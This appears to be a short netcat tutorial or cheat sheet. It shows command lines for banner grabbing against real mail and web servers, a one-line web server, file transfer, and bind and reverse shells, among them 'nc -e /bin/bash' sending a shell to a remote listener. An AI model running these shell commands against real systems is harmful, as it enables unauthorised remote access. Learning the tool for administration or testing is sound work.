Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities

Although NetCat is not the state of the art tool anymore and it sends all packets uncrypted through the net, it´s still a very good tool for easy banner grabbing, binding shells or reverse shells.


Banner Grabbing Commandline:

nc -v 192.168.0.200 21

nslookup -querytype=mx debian.org
nc -v xxx.debian.org 25

nslookup -querytype=mx dell.com
nc -v xxx.dell.com 25

nc -v 192.168.0.200 80
GET / HTTP/1.1

nc -v www.dell.com 80
GET / HTTP/1.1

nc -v 192.168.0.200 21


Weberserver Commandline:


while true; do nc -l -p 80 -q 1 < bla.html; done


File Transfer Commandline:


windows maschine file server nc -lvp 4444 > captured.txt
linux maschine: nc -v target-ip < info.txt this cmd will send the content of the file INFO.TXT to the Server into the file CAPTURED.TXT

Shell Commandlines:


Bind Shell

windows maschine: nc -lvp 4444 -e cmd.exe
linux maschine: nc -v 192.168.0.200 4444

Connecting from the linux system to the windows system,
which isn´t located behind a NAT System.

Reverse Shell

windows maschine: nc -lvp 4444
linux maschine: nc -nv 192.168.0.200 4444 -e /bin/bash
/sbin/ifconfig

Sending a /bin/bash Shell from a Linux system behind a NAT to the
windows system, which is listening on port 4444. traversing NAT.